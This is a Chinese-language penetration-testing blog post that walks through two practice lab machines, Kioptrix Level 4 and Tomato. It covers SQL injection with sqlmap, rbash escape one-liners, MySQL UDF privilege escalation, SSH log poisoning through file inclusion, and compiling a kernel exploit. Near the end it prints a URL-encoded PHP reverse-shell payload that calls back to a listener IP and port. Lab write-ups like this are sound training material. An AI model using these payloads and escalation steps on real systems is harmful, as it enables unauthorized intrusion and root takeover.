Vulhub靶机合集

文章目录

  • 前言
  • 一、Kioptrix Level 4(SQL注入、rbash逃逸、UDF提权)
  • 二、Tomato
  • 总结


前言

为什么要打这种靶机,因为里面的靶机虽然说知识点并不算很难,很深,但是却能开拓渗透的思路,打的多了,就能慢慢感受到制作靶机的作者的巧妙设计,也当作是无聊时的一种消遣方式。

一、Kioptrix Level 4(SQL注入、rbash逃逸、UDF提权)

  1. nmap扫描端口
    Vulhub靶机合集_第1张图片

可以开到开放了22端口、80端口、还有smb的139和445端口,先从80端口入手

  1. 访问80端口,看到一个登录页面
    Vulhub靶机合集_第2张图片

  2. 扫一波80端口,可以看到扫出了部分文件,其中有数据库的文件,访问一波看看
    Vulhub靶机合集_第3张图片

  3. 看到了数据库中被插入了一个用户和密码,但是登录却是失败的,密码应该不对,测试一下这里是否存在sql注入,直接丢到sqlmap跑一下。
    Vulhub靶机合集_第4张图片

可以看到mypassword处存在注入,这里的mypassword应该是直接拼接到了数据库执行语句中,可以通过万能密码登录,这里直接通过mypassword字段盲注即可爆出数据库的数据和密码,并且是可以登录成功的,但是接下来该怎么getshell呢,是一个问题。

  1. 直接通过sqlmap的os-shell看看mysql数据库是否打开了写入文件的权限,通过mysql数据库来进行命令执行,成功了,查询下/etc/passwd。
    Vulhub靶机合集_第5张图片

  2. 这里是www-data用户,想通过一句话木马等反弹shell,写入不成功,bash一句话反弹shell也不成功,但是看到了存在john和robert用户,只不过shell被限制了,是rbash的shell类型,上面得到的用户密码尝试下ssh登录,发现是登录成功的。

  3. 查看到能够执行的命令很少,尝试下rbash shell逃逸,发现通过echo os.system(“/bin/bash”)逃逸成功。
    file

rbash逃逸的常用用法:

  1. ftp、more、less、man、vi、vim等能够编辑输入的地方输入!/bin/bash或者!/bin/sh

  2. 如果能够使用vim编辑器,可以在完成时输入set shell=/bin/sh设置shell变量,切换完成后还需通过export PATH=$PATH:/usr/bin/查找命令

  3. 检查可用的编程语言,如python通过os.system()逃逸,php使用php -a then exec(“sh -i”)逃逸等

  4. 如果cp命令被运行,可用尝试直接复制/bin/bash到本地用户目录

  5. 包括一些其它命令如awk,ssh,zip等命令都可以尝试进行逃逸,比如说利用tar的–checkpoint-action=exec=/bin/bash,通过ssh -t /bin/sh等形式

  6. 查看80端口的文件,发现连接数据库的文件密码为空,并且是root权限,进入数据库,看看能不能通过数据库提权,发现存在UDF提权。

UDF提权:利用Root权限,创建带有cmd函数的动态链接库即udf.dll,当把udf.dll导出到指定文件夹引入mysql时,其中的调用函数拿出来当做mysql的函数使用,自定义的函数就被当作了本机函数执行,在使用CREAT FUNCITON调用dll中的函数,mysql账号转化成了system权限,从而进行提权。

一般能够使用的函数有:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

  1. 接下来就可以使用udf提权,这里有多种方式可以利用,第一种是将当前用户加入到管理员用户组中,即usermod -a -G root ‘john’,第二种就是通过赋予find命令suid权限,通过其exec的参数达到root权限执行命令的效果,第三种就是通过本机中的nc或通过msf等生成一个反弹shell的命令,通过udf函数sys_exec()执行也是弹回root权限的shell。

Vulhub靶机合集_第6张图片

Vulhub靶机合集_第7张图片

二、Tomato

  1. nmap扫描端口,发现开放了21、80、8888
    Vulhub靶机合集_第8张图片

  2. 使用dirsearch扫目录,这里没扫出东西,再换一个,换成dirb,发现扫到了antibot_image目录,只能说,挺神奇的,下次渗透的时候可以多换几个扫目录的字典,多试试。
    Vulhub靶机合集_第9张图片
    Vulhub靶机合集_第10张图片

  3. 把全部文件都访问一遍,发现其中一个info.php给出了phpinfo(),但是里面也没暴露什么敏感信息,但是F12可以看到它进行了文件包含,这思路就打开了。
    Vulhub靶机合集_第11张图片

  4. 通过文件包含,包含一些登录的日志文件,比如包含ssh的登录文件,发现开放了2211端口,因此可以使用一句话木马写入到ssh的日志文件中,然后就能进行命令执行了。
    Vulhub靶机合集_第12张图片

Vulhub靶机合集_第13张图片

  1. 使用蚁剑连接,查找suid文件,没有找到很特别的
    Vulhub靶机合集_第14张图片

  2. 看看能不能进行内核提权,查找到系统Ubuntu4.4.13,直接查找内核提权漏洞,找到很多。
    Vulhub靶机合集_第15张图片

  3. 挨个挨个试试,好吧,很困难,全都报错,我日了,但是别人的WP说45010.c是可以的,但是我这里报错了,报了以下错误。
    Vulhub靶机合集_第16张图片

  4. 这是因为gcc编译器,即kali的编译环境中不存在2.34造成的,因为要换成2.34.怎么换呢,以下命令即可换。

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
dpkg -x libc6_2.19-0ubuntu6_amd64.deb /~/test
cd /~/test
gcc exp.c  -o exp -Ldir ./lib/x86_64-linux-gnu/lib.so.6


  1. 然后准备用蚁剑上传,赋予权限,直接执行,结果没有任何响应,可能是蚁剑的问题吧,然后就只能试试反弹shell了,继续利用ssh写入一个GET参数为cmd的shell,通过以下反弹shell成功。
cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.23.137%22%2c3333)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'

  1. 通过Python打开一个交互式的shell后,再通过相同的操作,以及wget传入exp来tmp目录中,执行,提权成功。
    Vulhub靶机合集_第17张图片

总结

持续更新,无聊时候的打靶记录。

你可能感兴趣的:(web安全)